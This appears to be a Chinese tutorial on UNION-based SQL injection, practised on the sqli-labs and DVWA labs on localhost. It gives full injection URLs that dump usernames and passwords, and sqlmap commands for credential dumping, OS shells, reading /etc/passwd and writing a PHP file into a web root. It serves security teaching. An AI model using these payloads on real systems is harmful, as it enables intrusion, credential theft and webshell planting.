Java教程

web安全之sql注入(2)

本文主要是介绍web安全之sql注入(2),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

          联合查询(union)注入

  • 目录

  • 联合查询注入原理

  • 联合查询注入实操

  • sqlmap进行联合查询注入


 

一. 联合查询注入原理

1. mysql联合查询语法介绍

联合查询属于mysql的多表查询;

联合查询语法:select column1,column2,column3 from table1 union select column1,column2,column3  from table2 

 

 联合查询第二个表的字段数必须和第一个表的字段数相同;不然会报错;

变化性联合查询:

 

 主要字段数相同,后面select函数查询什么都可以,哪怕是字符串;

 

2. 源码查看

打开sql注入靶机sqli-labs-master的第一关查看源代码

主要源代码是我下面截图的部分

 

 其中主要的一句sql语句是:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其中id是我们GET传参传入的一个变量;可以看到输入正常的语句数据库并不会有问题

但是当$id=1' union select 1,2,database() -- - 时,整个sql语句就变成了

$sql="SELECT * FROM users WHERE id='1' union select 1,2,database() -- -' LIMIT 0,1"; (其中-- -为注释符,注释后面)

由于id参数外界可控;所以就形成了sql注入漏洞;攻击者利用这个漏洞可以查看(数据库当前用户权限)可以查看的任意资源;相当于拥有了与当前web绑定用户的所有权限;

sql注入产生的两大因素:1. 可控变量 2. 数据库交互

 

3. 联合查询常用函数

concat()        横向合并

group_concat()     纵向合并

order by x        猜解字段数

limit x,1            逐行显示

database()       显示当前数据库

version()        显示当前版本

user()          显示当前用户

-- -  #  --+     注释符号

/**/  %0a  +     空格符

/*!*/            内联注释             

二. 联合查询注入实操

1. 攻击环境

靶机:127.0.0.1主机;phpstudy环境;sqli-labs-master靶机;第三关

攻击机:127.0.0.1主机

2. 攻击步骤

(1)查看主页:127.0.0.1/sqli-labs-master/Less-3

 

 (2)查询注入点(闭合)

常见闭合方式:'  ',"  ",(  ),('  '),("  "),'%  %',"%  %",('%  %'),("%  %")," '  ' "

其中:如果索引值为数值型,可以是数字or字符;如果索引值是字符型,只能是字符

mysql有个特殊的情况,真=1,假=0

 

 在第三题中,我输入?id=1' and '1'='1  页面正确;输入?id=1' and '1'='2  页面错误;我以为 ' 为闭合符号,后来才发现不是;先使用注释符号进行尝试,别整什么左右闭合

猜测出闭合符号:')

?id=1') and 1=1-- - 正确;

 

 

?id=1') and 1=2-- - 错误;

 

 

 

 

 

(3)查询字段数

order by x 函数进行字段数查询;当当前字段存在时,则页面正常。当当前字段不存在时,则页面错误。(推荐二分法)

 

 当order by 3时正确;当order by 4时错误;字段数为3

 

 

 

 

(4)查询数据库名:

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,database()-- -

 

 

(5)查询表名:

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where 
table_schema='security'-- -

 

 

(6)查询字段名:

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where 
table_name='users' and table_schema='security'-- -

 

 

 

 

(7)查询数据:

1)一行一行查询:limit x,1函数

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,concat(id,0x7e,username,0x7e,password) from users limit 0,1-- -

 

 其中改变limit 0,1的0为0~1~2 可以获取不同的行

 

 2)一次性全部查询:group_concat()函数

http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat(id,0x7e,username,0x7e,password)) from users-- -

 

 

三. sqlmap对联合查询的使用

1. sqlmap的重要参数

-u      指定url

-p      指定注入参数

-D      指定数据库名

-T      指定表名

-C      指定列名

--dbs       查询所有数据库名

--current-db  查询当前数据库名

--tables    查询所有表

--columns   查询所有列

--batch     自动化默认操作

-r       指定路径          burp抓到的包指定路径(适合post;有cookie;免验证)

--forms      自动识别post表单参数    适合无登录的url,或手动添加cookie

--cookie    指定cookie

 

2. sqlmap实操

(1)针对无验证的联合查询注入

靶机:http://127.0.0.1/sqli-labs-master/Less-4/

攻击机:127.0.0.1

 

查询是否存在注入点

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" --batch

 

 

查询当前数据库

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid --current-db --batch

 

 

查询当前表

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security --tables --batch

 

 

 

 

查询当前字段

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users --columns --batch

 

 

 

 

查询当前数据

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-4/?id=1" -pid -D security -T users -C id,password,username --dump --batch

 

 

 

 

(2)针对有验证的联合查询注入

靶机:DVWA

攻击机:127.0.0.1

 

查询当前参数是否存在注入点

不添加cookie身份进行测试;

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --batch

 

 添加cookie进行测试

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid 
--cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch

 

 回显为可以注入点

 

查询当前数据库名:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch --current-db

 

 

 

 

查询当前所有表名:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid 
--cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa --tables

  

 

 

 

 

查询当前所有字段名:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users --columns

  

 

 

 

 

查询数据:

sqlmap -u "http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" -pid --cookie="security=low;PHPSESSID=19m8iqu22kii2uecbu61ff4sa6" --batch -D dvwa -T users -C user,password --dump

  

 

 

 

 

(3)sqlmap写扩展功能

sqlmap注入点测试广度:

--level参数  1-5级别;默认1级别

sqlmap注入点测试深度:

--risk参数    1-3级别;默认1级别

执行shell

--os-shell

sqlmap读文件

-file-dest

 sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2

sqlmap写文件

-file-write

 sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2

sqlmap脚本引用参数:

--tamper

 

这篇关于web安全之sql注入(2)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!